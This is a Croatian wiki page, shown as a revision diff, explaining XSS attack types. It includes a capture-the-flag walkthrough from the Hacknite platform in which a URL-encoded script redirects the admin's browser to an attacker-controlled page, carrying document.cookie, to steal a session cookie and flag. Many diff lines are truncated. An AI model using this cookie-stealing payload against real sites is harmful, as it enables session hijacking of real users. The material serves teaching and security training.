xss_napadi
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| xss_napadi [2023/11/22 16:24] – lss | xss_napadi [2025/12/01 11:40] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 2: | Line 2: | ||
| **XSS (Cross-site scripting)** tip je napada uključenja u kojem napadač ubacuje malicioznu skriptu u web stranicu koju korisnici smatraju povjerljivom. U najranijim verzijama napada fokus napadača bila je krađa podataka cross-site zahtjevima, odnosno zahtjevima koji idu preko više stranica. Od tada je evoluirao te obuhvaća uključenje bilo kakvog sadržaja u web stranicu.\\ | **XSS (Cross-site scripting)** tip je napada uključenja u kojem napadač ubacuje malicioznu skriptu u web stranicu koju korisnici smatraju povjerljivom. U najranijim verzijama napada fokus napadača bila je krađa podataka cross-site zahtjevima, odnosno zahtjevima koji idu preko više stranica. Od tada je evoluirao te obuhvaća uključenje bilo kakvog sadržaja u web stranicu.\\ | ||
| - | Funkcionira | + | Funkcionira |
| JavaScript kôd, najčešće u obliku klijentske skripte. Nakon njegova izvršenja napadač ima potpunu kontrolu | JavaScript kôd, najčešće u obliku klijentske skripte. Nakon njegova izvršenja napadač ima potpunu kontrolu | ||
| nad korisnikovim interakcijama na toj stranici. Ovo je vrlo raširen tip napada. Svaki dio web stranice u | nad korisnikovim interakcijama na toj stranici. Ovo je vrlo raširen tip napada. Svaki dio web stranice u | ||
| Line 23: | Line 23: | ||
| Skripta je obično takva da napadač može pristupiti i mijenjati sve korisnikove podatke, izvoditi sve akcije na stranici koje su njemu dozvoljene te čak izvoditi napade u njegovo ime. | Skripta je obično takva da napadač može pristupiti i mijenjati sve korisnikove podatke, izvoditi sve akcije na stranici koje su njemu dozvoljene te čak izvoditi napade u njegovo ime. | ||
| - | //Stored XSS (Persistent, | + | //Stored XSS (Persistent, |
| nekog poslužitelja. Ni u ovom se slučaju ne provodi nikakva provjera jesu li ti podatci sigurni za | nekog poslužitelja. Ni u ovom se slučaju ne provodi nikakva provjera jesu li ti podatci sigurni za | ||
| korištenje. Unos podataka može opet ići preko korisničkog unosa, no razlika je u tome što se ti | korištenje. Unos podataka može opet ići preko korisničkog unosa, no razlika je u tome što se ti | ||
| - | ranjivi podatci pohrane i mogu doći do drugih korisnika. Dobar primjer je stranica | + | ranjivi podatci pohrane i mogu doći do drugih korisnika. Dobar primjer je stranica |
| | | ||
| izvršit će se svakom korisniku koji poželi dohvatiti njegov komentar, odnosno svakom korisniku koji otvori | izvršit će se svakom korisniku koji poželi dohvatiti njegov komentar, odnosno svakom korisniku koji otvori | ||
| taj članak. | taj članak. | ||
| - | Zadnji je // | + | Zadnji je // |
| | | ||
| < | < | ||
| Line 53: | Line 53: | ||
| <div> $varUnsafe </ | <div> $varUnsafe </ | ||
| </ | </ | ||
| - | jer napadač može unijeti | + | jer napadač može unijeti |
| < | < | ||
| < | < | ||
| Line 75: | Line 75: | ||
| - | __PRIMJER__ -**Zadatak s Hacknite platforme - Pronađi svoju stranicu** | + | __PRIMJER__ - **Zadatak s Hacknite platforme - Pronađi svoju stranicu** |
| < | < | ||
| Mario je jako sretan sa svojom stranicom na kojoj se mogu izmjenjivati korisni linkovi, ali osjećao je | Mario je jako sretan sa svojom stranicom na kojoj se mogu izmjenjivati korisni linkovi, ali osjećao je | ||
| Line 82: | Line 82: | ||
| vidjeti kako je to napravio. | vidjeti kako je to napravio. | ||
| Budući da je siguran u svoju stranicu, a i pomalo lijen, stavio je neke korisne informacije u kolačiće | Budući da je siguran u svoju stranicu, a i pomalo lijen, stavio je neke korisne informacije u kolačiće | ||
| - | kako bi im lakše mogao pristupiti. Mario je nastavio | + | kako bi im lakše mogao pristupiti. Mario je nastavio |
| nije time napravio nikakav propust. | nije time napravio nikakav propust. | ||
| - | Ukoliko | + | Ako i ti želiš koristiti stranicu, sve što moraš napraviti je registrirati se i ulogirati. Tada ćeš |
| moći pretraživati i slati korisne linkove svojim prijateljima i adminu, koji je naravno Mario. | moći pretraživati i slati korisne linkove svojim prijateljima i adminu, koji je naravno Mario. | ||
| Line 93: | Line 93: | ||
| </ | </ | ||
| - | U prilogu se nalazi | + | U prilogu se nalazi |
| - | Ako pratimo poveznicu, dolazimo na početnu stranicu koja od nas traži registraciju. Nakon što su napravimo, došli smo do stranice gdje možemo odabrati osobu i link koji joj šaljemo. Primjećujemo | + | |
| - | Budući da iskorištavamo XSS ranjivost, prvo ćemo napraviti svoju web stranicu sa IP adresom | + | Ako pratimo poveznicu, dolazimo na početnu stranicu koja od nas traži registraciju. Nakon registracije vidimo tražilicu linkova |
| + | Testirajmo postoji li ranjivost uključivanja JavaScript koda. Upišimo u tražilicu linkova neku jednostavnu naredbu | ||
| + | < | ||
| + | Vidimo | ||
| + | Iskoristit | ||
| + | |||
| + | {{ : | ||
| + | |||
| + | | ||
| + | < | ||
| + | kako bismo preusmjerili zahtjev na svoju stranicu. Budući da Marijeva stranica | ||
| + | |||
| + | {{ : | ||
| + | |||
| + | Preko parametra //c// poslani su kolačići s trenutne stranice na našu, zlonamjernu. Vidimo da se zahtjev preusmjerio na našu stranicu i imamo session id u linku (parametar //c//). No, to je zasad samo naš cookie, nismo dobili pristup administratoru. Otiđimo sad na podstranicu koja određenoj osobi šalje link te pošaljimo adminu sljedeće: | ||
| < | < | ||
| - | [javascript] document.location=" | + | http://chal.platforma.hacknite.hr:10011/ |
| - | </ | + | |
| - | Budući da Marijeva stranica ne radi nikakvu provjeru predanih linkova, | + | |
| - | < | + | |
| - | http:// | + | |
| </ | </ | ||
| - | Ovime smo kao //query// parameter unijeli skriptu koja prebacuje našu trenutnu lokaciju na ip_zlonamjerne_stranice i opet smo kao c parametar unijeli document.cookie. Za razumijevanje linka važni su ovi znakovi: \\ | ||
| - | %3C < \\ | ||
| - | %3E > \\ | ||
| - | %3D = \\ | ||
| - | %22 " \\ | ||
| - | %3A : \\ | ||
| - | %3F ? \\ | ||
| - | %2F / \\ | ||
| - | %3B ; \\ | ||
| - | Kad prevedemo link na taj način, uočit ćemo da je isti kao onaj koji smo na početku upisali u svoju zlonamjernu stranicu. Ova naredba unutar < | ||
| + | {{ : | ||
| + | |||
| + | Ovime smo kao //query// parameter unijeli skriptu koja prebacuje našu trenutnu lokaciju na našu zlonamjernu i opet smo kao //c// parametar unijeli document.cookie da bismo mogli ukrasti administratorov kolačić. Posebni znakovi u linku koji šaljemo su URL-encodani: | ||
| + | ^ Kod ^ Značenje znaka ^ | ||
| + | |%3C |< | | ||
| + | |%3E |> | | ||
| + | |%3D |= | | ||
| + | |%22 |" | | ||
| + | |%3A |: | | ||
| + | |%3F |? | | ||
| + | |%2F |/ | | ||
| + | |%3B |; | | ||
| + | |||
| + | Nakon što smo poslali zahtjev, on se pojavi na requestbaskets sa svim detaljima, uključujući i flag: | ||
| + | |||
| + | {{ : | ||
| + | |||
| + | Flag je URL-encoded, | ||
| + | ^ Kod ^ Značenje znaka ^ | ||
| + | |%5B |[ | | ||
| + | |%5D |] | | ||
| - | Izvori | + | ===Izvori=== |
| [1]https:// | [1]https:// | ||
| [2]https:// | [2]https:// | ||
xss_napadi.1700670241.txt.gz · Last modified: 2025/12/01 11:40 (external edit)